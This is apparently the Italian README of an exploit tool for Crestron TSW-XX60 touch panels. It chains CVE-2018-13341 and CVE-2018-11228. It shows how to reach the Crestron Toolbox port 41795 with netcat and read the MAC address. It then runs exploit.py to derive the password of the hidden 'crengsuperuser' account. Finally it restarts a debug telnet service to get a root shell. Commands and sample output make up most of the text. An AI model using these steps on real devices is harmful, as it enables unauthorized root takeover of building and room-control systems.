
Questo strumento mira a sfruttare il CVE-2018-13341
Questo strumento mira a sfruttare la CVE-2018-13341; utilizzando l'indirizzo MAC del dispositivo target, è possibile recuperare la password dell'account nascosto "crengsuperuser" che ha privilegi elevati e consente di eseguire comandi SUDO.
Il protocollo Crestron Toolbox (CTP) può essere connesso accedendo alla porta 41795 sul dispositivo TSW-XX60.
# nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> estat
The EST command has been made obsolete. Please use IPCONFIG instead.
Ethernet Adapter [XYZ]:
Link Status ....... : OK
DHCP .............. : ON
MAC Address ....... : 00.XX.XX.XX.XX.XX
IP Address ........ : [removed]
Subnet Mask ....... : [removed]
IPV6 Address ...... : [removed]
Default Gateway ... : [removed]
DNS Servers ........ : [removed] | DHCP |
[removed] | DHCP |
Questo strumento richiede il modulo CryptoGraphy.
# pip3 install cryptography
OPPURE
# pip3 install -r requirements.txt
usage: exploit.py [-h] [-m MAC]
# Esempio
# python3 exploit.py -m aabbccddeeff
[*] Device MAC address: AAXXYYZZ
[*] Password for 'crengsuperuser': somerandompass
La CVE-2018-11228 consente RCE non autenticata tramite il servizio Bash Shell nel protocollo Crestron Terminal (CTP). Dopo aver ottenuto la password dell'account nascosto "crengsuperuser", è possibile ottenere accesso root sulla macchina.
# nc -C w.x.y.z 41795
TSW-760 Control Console
TSW-760> TELNETPORT OFF
Telnet Port: Off
TSW-760> SUDO RESTARTSERVICE telnetd_debug
Username: crengsuperuser
Password: **************
Service telnetd_debug restarted
TSW-760>
Quindi, in una nuova shell, è possibile ottenere accesso root sulla macchina.
# telnet w.x.y.z
bash# whoami
root
Crediti a: axcheron